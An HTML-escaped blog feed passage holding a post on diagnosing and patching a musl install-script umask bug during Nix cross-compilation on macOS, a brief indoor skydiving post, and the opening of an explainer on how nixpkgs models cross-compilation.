				&lt;p&gt;I’ve long considered fluency in &lt;a href=&quot;https://nixos.org/&quot;&gt;Nix&lt;/a&gt; to be a superpower that pays off way more than you might imagine, if you haven’t experienced it yourself.&lt;/p&gt;

&lt;p&gt;Sure, it helps with the obvious practical things you’d expect - my system setup is declarative, reproducible, and suffers from vanishingly few chaotic state-based issues that tend to plague less reproducible systems (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brew&lt;/code&gt; in particular).&lt;/p&gt;

&lt;p&gt;There are plenty of downsides too - I run into nix-specific issues that my colleagues with more normal setups don’t suffer. Interactions with tools like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bundler&lt;/code&gt; building native extensions can be frustrating at best.&lt;/p&gt;

&lt;p&gt;Those are the unsurprising, surface level tradeoffs when using a good-but-novel package manager. The real superpower comes through the staggering amount of things which are not just possible, but downright straightforward due to the reliable, principled way that nix works. Here’s a good example from last week:&lt;/p&gt;

&lt;!--more--&gt;

&lt;h3 id=&quot;do-niche-things-encounter-niche-bugs&quot;&gt;Do niche things, encounter niche bugs&lt;/h3&gt;

&lt;p&gt;Firstly, I’ve got this rust project which I build on MacOS, but which cross-compiles to arm &amp;amp; x86 for both Mac &amp;amp; Linux. Without nix, I think I got a cross-compiling toolchain working once in my life, and that was mostly thanks to colleagues who had sorted it all out before I got there.&lt;/p&gt;

&lt;p&gt;So cross-compilation thing is impossible thing number one that nix makes practical (&lt;a href=&quot;/2022/12/19/nix-cross-compilation-what-even-is-it.html&quot;&gt;I’ve talked about this before&lt;/a&gt;). But then when it breaks, nix also makes it easy to diagnose, fix and reproduce. When I updated nixpkgs in this project, cross-compilation stopped working with this error, which has nothing to do with my code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cannot read symbolic link &apos;/nix/store/fgkznmnz1swzp8ck75fa2zvj62pkjgvq-musl-x86_64-unknown-linux-musl-1.2.3/lib/ld-musl-x86_64.so.1&apos;: Permission denied
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And indeed, I can see that it lacks permissions:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls -l /nix/store/fgkznmnz1swzp8ck75fa2zvj62pkjgvq-musl-x86_64-unknown-linux-musl-1.2.3/lib
ls: cannot read symbolic link &apos;/nix/store/fgkznmnz1swzp8ck75fa2zvj62pkjgvq-musl-x86_64-unknown-linux-musl-1.2.3/lib/ld-musl-x86_64.so.1&apos;: Permission denied
total 3796
-r--r--r-- 1 root wheel    1000 Jan  1  1970 crti.o
-r--r--r-- 1 root wheel     776 Jan  1  1970 crtn.o
lrwx------ 1 root wheel       7 Jan  1  1970 ld-musl-x86_64.so.1
-r--r--r-- 1 root wheel 3016118 Jan  1  1970 libc.a
lrwxr-xr-x 1 root wheel       7 Jan  1  1970 libc.musl-x86_64.so.1 -&amp;gt; libc.so*
-r-xr-xr-x 1 root wheel  811384 Jan  1  1970 libc.so*
# ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that &lt;em&gt;ls&lt;/em&gt; prints an error while listing this directory, which is unusual. Looks like only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; will be able to read that file, though all the other files have read access for all users.&lt;/p&gt;

&lt;p&gt;I don’t know much about musl, and I don’t know why it would create a symlink that I can’t read. But nix gives me an amazingly useful toolkit for diagnosing and fixing these kinds of issues.&lt;/p&gt;

&lt;p&gt;First, because there’s a 1:1 mapping between outputs and derivations (recipes), I can ask nix to tell me which derivation made this path:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nix-store --query --deriver &apos;/nix/store/fgkznmnz1swzp8ck75fa2zvj62pkjgvq-musl-x86_64-unknown-linux-musl-1.2.3/lib/ld-musl-x86_64.so.1&apos;
/nix/store/wv79kvgc5sdjxjqjbfi4sjhzd8s8fa47-musl-x86_64-unknown-linux-musl-1.2.3.drv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s the recipe for building the outputs I’m looking at, in a canonical, serialized format. I can drop into a shell with that derivation’s environment, i.e. all dependencies and environment variables set up:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nix-shell /nix/store/wv79kvgc5sdjxjqjbfi4sjhzd8s8fa47-musl-x86_64-unknown-linux-musl-1.2.3.drv
$ echo $src
/nix/store/agnzzn18q0xfk7n4ks884zx3vxaqdr2c-musl-1.2.3.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Often when a derivation fails to build it’s useful to drop into its shell and try various commands to figure out a fix interactively. I can also pretty-print the derivation in JSON, using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix derivation show&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But first, I want to find where this derivation actually is in &lt;a href=&quot;https://github.com/NixOS/nixpkgs&quot;&gt;nixpkgs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For maximum reproducibility, I check out nixpkgs at the &lt;a href=&quot;https://github.com/NixOS/nixpkgs/commit/0ea23c2c3792b92fe97535ef62d9a911eac9f250&quot;&gt;git commit my project is pinned to&lt;/a&gt;, from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;release-23.11&lt;/code&gt; branch. Using guesses as well as some helpfully-unique strings in the derivation’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;postInstall&lt;/code&gt; phase, I locate &lt;a href=&quot;https://github.com/NixOS/nixpkgs/blob/0ea23c2c3792b92fe97535ef62d9a911eac9f250/pkgs/os-specific/linux/musl/default.nix&quot;&gt;pkgs/os-specific/linux/musl/default.nix&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now that I’ve oriented myself, it’s time to make a minimal reproduction. I’m not doing anything funky with musl, so it should be easy to reproduce outside my project’s rather large nix expression:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat musltest.nix
with import /Users/tcuthbertson/dev/nix/nixpkgs {
  crossSystem.config = &quot;x86_64-unknown-linux-musl&quot;;
};
musl
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nix-build musltest.nix
/nix/store/fgkznmnz1swzp8ck75fa2zvj62pkjgvq-musl-x86_64-unknown-linux-musl-1.2.3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;OK, it printed the exact same path (and didn’t need to build anything). We’ve reproduced the problematic nix expression in 4 lines, without any noise related to the real project.&lt;/p&gt;

&lt;p&gt;Now I’d like to see the build output. I can ask nix to check the build (i.e. build it again):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nix-build --check musltest.nix
# lots of build output
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we get a hint. The build output includes the problematic filename in a list of file installations:&lt;/p&gt;

&lt;p&gt;(I’ve replaced the long /nix/store path with $out in this output for brevity)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./tools/install.sh -D -m 644 lib/libdl.a $out/lib/libdl.a
./tools/install.sh -D -m 644 lib/musl-gcc.specs $out/lib/musl-gcc.specs
./tools/install.sh -D -l libc.so $out/lib/ld-musl-x86_64.so.1 || true
# ... many more
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This tells me two things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;this file doesn’t have an explicit permission mode like the others (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m 644&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;it’s using a custom ./install.sh to do the installation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sometime during this process I remembered a relevant question:&lt;/p&gt;

&lt;h2 id=&quot;do-symlinks-even-have-permissions&quot;&gt;Do symlinks even &lt;em&gt;have&lt;/em&gt; permissions?&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.baeldung.com/linux/symlinks-permissions&quot;&gt;No, they don’t:&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;The symbolic notation, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lrwxrwxrwx&lt;/code&gt;, is the only set of access permissions a symbolic link can have.&lt;/strong&gt; Additionally, these permissions are only representative as they are never used for any operation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But… Huh?&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://superuser.com/a/303063&quot;&gt;Oh, Macs are different&lt;/a&gt;, symlinks &lt;em&gt;can&lt;/em&gt; have permissions on a Mac. So now we’re firmly in niche territory, having Mac-only issues cross-building a linux-only program.&lt;/p&gt;

&lt;p&gt;OK, time to look at this now-suspicious &lt;a href=&quot;https://git.musl-libc.org/cgit/musl/tree/tools/install.sh?h=v1.2.4&amp;amp;id=f5f55d6589940fd2c2188d76686efe3a530e64e0&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./install.sh&lt;/code&gt;&lt;/a&gt;. It has some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt; code, could that be the problem? Unlikely, remember the problematic file didn’t specify any permissions. Why would it, &lt;em&gt;symlinks don’t have permissions&lt;/em&gt;. But just a few lines above the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt;, a smoking gun:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;umask 077
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Gotcha. It’s hard to &lt;em&gt;accidentally&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt; a symlink, as you need to pass in the nonstandard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-h&lt;/code&gt; flag to operate on the link instead of the thing it points to. But &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;umask&lt;/code&gt; is used to restrict &lt;em&gt;default&lt;/em&gt; permissions for any kind of file creation. Including, presumably, symlinks on MacOS.&lt;/p&gt;

&lt;p&gt;There’s a couple of ways to fix this, the easiest it just to change this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt; line so that it allows read access. So my fix is to relax the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt; to 022; i.e. prevent &lt;em&gt;write&lt;/em&gt; access but not read or execute.&lt;/p&gt;

&lt;h1 id=&quot;testing-changes&quot;&gt;Testing changes&lt;/h1&gt;

&lt;p&gt;Now that I think I have a fix, can I test it?&lt;/p&gt;

&lt;p&gt;Of course. The steps I used are:&lt;/p&gt;

&lt;h3 id=&quot;1-make-the-change&quot;&gt;1. Make the change&lt;/h3&gt;

&lt;p&gt;I check out the &lt;a href=&quot;https://git.musl-libc.org/cgit/musl/&quot;&gt;musl git repository&lt;/a&gt; and make changes locally (in this case, modifying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;umask&lt;/code&gt; line in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;install.sh&lt;/code&gt;)&lt;/p&gt;

&lt;h3 id=&quot;2-integrate-it-into-nix&quot;&gt;2. Integrate it into nix&lt;/h3&gt;

&lt;p&gt;To integrate my changes I could alter the nix expression’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; to point to a fork of the source code. But for simple changes it’s usually easier to iterate by adding a patch. So first I generated a patch based on my changes in git (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git diff &amp;gt; musl.patch&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Then I added that to the existing list of patches in the nix expression (&lt;a href=&quot;https://github.com/NixOS/nixpkgs/blob/440117328b114fbbb76c6b91233af2d0519cbf6c/pkgs/os-specific/linux/musl/default.nix#L68&quot;&gt;here&lt;/a&gt;). For testing out changes, I just use an (absolute) file path to reference the patch file on disk. This will only work on my system, but it allows me to make changes and have them picked up immediately, without needing to update any digest / commit IDs.&lt;/p&gt;

&lt;h3 id=&quot;3-test-it&quot;&gt;3. Test it&lt;/h3&gt;

&lt;p&gt;With that patch added, I rebuilt my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;musltest.nix&lt;/code&gt; test case, and success the resulting symlink has read access. Looks like I’ve fixed it!&lt;/p&gt;

&lt;h1 id=&quot;integrating-changes&quot;&gt;Integrating changes&lt;/h1&gt;

&lt;p&gt;Now that I’m confident the fix works, I want to integrate it into my &lt;em&gt;actual&lt;/em&gt; project. After all, this all started with me wanting to build some software, not muck about in musl’s custom installer.&lt;/p&gt;

&lt;p&gt;In order for the fix to be usable outside of my machine, I need to:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;get the patch online. I push my changes to github and use that to serve a &lt;a href=&quot;https://github.com/timbertson/musl/compare/f314e133929b6379eccc632bef32eaebb66a7335...05b89f783fd1873ce9ec1127fa76d002921caa23.patch&quot;&gt;patch file&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;update the nix expression in my fork of nixpkgs to &lt;a href=&quot;https://github.com/timbertson/nixpkgs/commit/6a2d1048c38fa37c257dc6fbebaf8af2cc8721a9&quot;&gt;include the patch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;pin my project to use my nixpkgs fork (there are plenty of ways to manage this, I like using &lt;a href=&quot;https://github.com/nmattia/niv&quot;&gt;niv&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And… that’s it!&lt;/p&gt;

&lt;h1 id=&quot;eliminating-the-software-distribution-chasm&quot;&gt;Eliminating the Software Distribution Chasm&lt;/h1&gt;

&lt;p&gt;Of course, all of these things can (and are) routinely done by people without nix. You don’t &lt;em&gt;need&lt;/em&gt; superpowers to fix bugs in software.&lt;/p&gt;

&lt;p&gt;But nix dramatically widens the amount of things &lt;em&gt;I&lt;/em&gt; feel empowered to fix, as well as giving me confidence that I will be able to reproduce or modify anything I need to. And not just on my machine - any changes I can make locally, I can also ship to my users, no matter how deep in the stack the fix is.&lt;/p&gt;

&lt;p&gt;Mentally I think of this as a &lt;strong&gt;distribution chasm&lt;/strong&gt;. Outside of nix, there’s often this huge gap between the workflow and capabilities of what you can do on your machine, vs the very different workflow and capabilities there are for distributing software to others.&lt;/p&gt;

&lt;p&gt;For example: say you use Ubuntu, and you find that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;musl&lt;/code&gt; is broken in some obscure way. I’m sure there are plenty of debian tools I don’t know about which allow you to get a deb package, set up a build environment, make changes to the source code, and then rebuild a modified package against those sources.&lt;/p&gt;

&lt;p&gt;But then once you have a fix, how do you use it? Do you send it to the Ubuntu or upstream maintainers, and wait for your users to get the update via official channels? That’s a lot of waiting, possibly years depending on when your users upgrade their OS. Maybe you can set up your own deb repository (ugh!) so you can at least run your modifications in CI, but it’s a horrible thing to ask of your users. Not to mention you’re modifying the global version of e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;musl&lt;/code&gt; they have installed, which is a pretty invasive thing to be doing.&lt;/p&gt;

&lt;p&gt;So the user-friendly option would be to eject from package management and leap over the distribution chasm - you have to distribute your musl fork yourself, perhaps by committing it into your project (vendoring), or writing a script to build it from source as part of your project’s build. But wow, now &lt;em&gt;your&lt;/em&gt; project takes on all the complexity of building musl.&lt;/p&gt;

&lt;p&gt;And for what? The fix was embarrassingly simple. It’s just a single line of bash.
&lt;em&gt;(Aside: there are workarounds for this particular bug; but those wouldn’t work if it were a change to some C code).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Anecdotally, I tried building musl outside of nix, but I immediately ran into unrelated compile errors. That’s not unusual when first compiling an unfamiliar project, and it’s easy to give up at this stage. But using nix? After a few hours I’d diagnosed, fixed, tested and submitted a fix upstream. And while I wait, I’ve integrated that patch into my software, so I can keep building. It works on my machine, in CI, and for other contributors, with no need for manual setup. Feels like a superpower to me.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Indoor Skydiving</title>
			<link href="http://gfxmonk.net/2023/01/23/indoor-skydiving.html"/>
			<updated>2023-01-23T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2023/01/23/indoor-skydiving</id>
			<content type="html">
				
				&lt;p&gt;Off-topic for this blog, but I have done a few indoor skydiving sessions over the past year at &lt;a href=&quot;http://www.iflyworld.com.au/locations/melbourne&quot;&gt;iFLY Melbourne&lt;/a&gt;. This is some video from my third session. It’s pure fun and I recommend it to anyone, you get the feeling of flying without the hassle and terror of jumping out of a plane :)&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/j9szyQqxQDM&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Nix cross-compilation: what even is it?</title>
			<link href="http://gfxmonk.net/2022/12/19/nix-cross-compilation-what-even-is-it.html"/>
			<updated>2022-12-19T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2022/12/19/nix-cross-compilation-what-even-is-it</id>
			<content type="html">
				
				&lt;p&gt;I don’t blog much these days, apparently I just use it to announce roughly one new thing each year. But I do want to post more writing, so here’s a description of how I think about cross-compilation in nix.&lt;/p&gt;

&lt;p&gt;This post doesn’t assume much nix knowledge. It’s not a how-to post describing the (complex) process of how to cross-compile software, it’s more of an exploration of how cross-compilation conceptually works, because it’s something I learnt recently and found interesting.&lt;/p&gt;

&lt;!--more--&gt;

&lt;h1 id=&quot;what-is-nix&quot;&gt;What is nix?&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://nixos.org/&quot;&gt;Nix&lt;/a&gt; is an operating system, a programming language, and a massive (80k+) set of software packages written in that language. Today, we’re focussing on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;, the set of packages.&lt;/p&gt;

&lt;h1 id=&quot;what-is-cross-compilation&quot;&gt;What is cross-compilation?&lt;/h1&gt;

&lt;p&gt;Most software is not cross-compiled. Typically you build software on a computer, and run it on the same kind of computer. Easy peasy. You want a Linux binary? Compile it on a Linux computer or VM, my friend.&lt;/p&gt;

&lt;p&gt;But cross compiling means building a native executable for a &lt;em&gt;different&lt;/em&gt; kind of computer. The standard terminology here is that the place where you build is the &lt;strong&gt;Build&lt;/strong&gt; platform, and the place where you will run it is the &lt;strong&gt;Host&lt;/strong&gt; platform. There’s also a concept of a &lt;strong&gt;Target&lt;/strong&gt; platform, but that’s a historical oddity and doesn’t matter for modern compilers.&lt;/p&gt;

&lt;p&gt;In my case, I’ve been writing some rust software and building it on a Mac. But I want to run it on Linux too. I could do a bunch of stuff with docker, but that’s boring. And more seriously I also want to compile for the newer ARM-based Macs, without having to juggle multiple computers.&lt;/p&gt;

&lt;p&gt;To cross-compile a trivial rust app, I’d need a rust compiler on my Mac, and I’d tell it to build &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;myApp&lt;/code&gt; as a Linux binary, using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--target=linux-x86_64&lt;/code&gt;. Rust is a clever modern compiler, it can produce binaries for many supported targets out of the box.&lt;/p&gt;

&lt;p&gt;But this doesn’t work for non-rust shared libraries. If you have a rust library which links against &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl&lt;/code&gt; for example, the one you have on your system is going to be the Mac one, not the Linux one. Oh dear.&lt;/p&gt;

&lt;h1 id=&quot;dependency-injection&quot;&gt;Dependency injection&lt;/h1&gt;

&lt;p&gt;Nix uses a pattern not usually found in package definitions, but very common in programming: dependency injection.&lt;/p&gt;

&lt;p&gt;Each package is not a static thing like a YAML file, but rather a function which requires some dependencies, and then produces a result - the fully concrete specification used to build some software. Here’s a stripped-down version of the GNU hello world program to demonstrate:&lt;/p&gt;

&lt;div class=&quot;language-nix highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;stdenv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;fetchurl&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}:&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;stdenv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mkDerivation&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;rec&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;pname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;hello&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;2.12.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;fetchurl&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mirror://gnu/hello/hello-&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.tar.gz&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;sha256&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;sha256-jZkUKv2SV28wsM18tCqNxoCZmLxdYH2Idh9RLibH2yA=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a function which accepts two named dependencies (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchurl&lt;/code&gt;), then returns a derivation, which is the concrete type that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; knows how to build, producing files on disk.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fetchurl&lt;/code&gt; is a straightforward utility - it takes a URL and a checksum, and does the job of turning that into local files. If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello&lt;/code&gt; had any package dependencies, they would be passed in a similar way.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt; is a little more mysterious, it’s just “the standard environment”. Its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkDerviation&lt;/code&gt; function is ubiquitous in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt;, and I don’t tend to think much about it.&lt;/p&gt;

&lt;p&gt;That changed recently, when I started digging into cross-compilation.&lt;/p&gt;

&lt;h1 id=&quot;the-nix-package-universe&quot;&gt;The Nix package universe&lt;/h1&gt;

&lt;p&gt;Zooming out, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nixpkgs&lt;/code&gt; defines this universe of package expressions. Like I said, there’s more than 80 thousand of them. Here’s a dramatically simplified version:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/cross-compilation/universe.png&quot; class=&quot;alpha fit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And they’re lazily evaluated, which is how you can get away with a single expression containing the entire universe. If you evaluate a single package, it will only load/evaluate the stuff it depends on, not the entire universe:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/cross-compilation/universe-lazy.png&quot; class=&quot;alpha fit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The interesting thing is, &lt;em&gt;every single package&lt;/em&gt; uses this same pattern to depend on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt;. This is where it gets interesting.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv.mkDerivation&lt;/code&gt; is this ubiquitous function which takes some attributes and returns a derivation - the concrete thing to build. And it’s injected into each and every package:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/cross-compilation/universe-with-stdenv.png&quot; class=&quot;alpha fit&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;different-stdenvs&quot;&gt;Different stdenvs&lt;/h2&gt;

&lt;p&gt;It turns out, there isn’t just one but many different implementations of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt; you could inject.&lt;/p&gt;

&lt;p&gt;The fun one for today is the one which knows how to build stuff on a Mac, and produces Linux code.&lt;/p&gt;

&lt;p&gt;If you inject this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt; into the expression that builds a nix universe, you get a second universe where &lt;em&gt;that&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt; is being used to build every single package in the universe. This is the universe of those same 80 thousand packages, except each of them are built on mac, producing binaries that run on Linux.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/cross-compilation/multiverse.png&quot; class=&quot;alpha fit&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-nix-package-universe-multiverse&quot;&gt;The Nix package &lt;strike&gt;universe&lt;/strike&gt; multiverse&lt;/h2&gt;

&lt;p&gt;So the final slightly mind blowing thing, is that the different universes are linked.&lt;/p&gt;

&lt;p&gt;This build-for-linux &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdenv&lt;/code&gt; automatically knows that for packages specified in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buildDependencies&lt;/code&gt; list, each should &lt;em&gt;actually&lt;/em&gt; be taken from the normal build-for-Mac universe. Whereas a runtime dependency like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; needs to be taken from the current build-for-linux universe.&lt;/p&gt;

&lt;p&gt;In practice there’s way more dependencies, but this is the general shape:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/cross-compilation/multiverse-linked.png&quot; class=&quot;alpha fit&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And notice how we actually have two versions of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt; here. Rust needs a Mac libc at build time, while my app needs a Linux version at runtime.&lt;/p&gt;

&lt;p&gt;How this inter-universe connection is &lt;a href=&quot;https://github.com/NixOS/nixpkgs/blob/master/pkgs/top-level/splice.nix&quot;&gt;actually implemented&lt;/a&gt; is pretty wild for historic reasons, but thankfully you don’t have to know too much about that to make use of it.&lt;/p&gt;

&lt;h1 id=&quot;is-this-novel&quot;&gt;Is this novel?&lt;/h1&gt;

&lt;p&gt;Typical distributions like Debian have this whole multi-arch packaging system where the architecture becomes part of the package key.&lt;/p&gt;

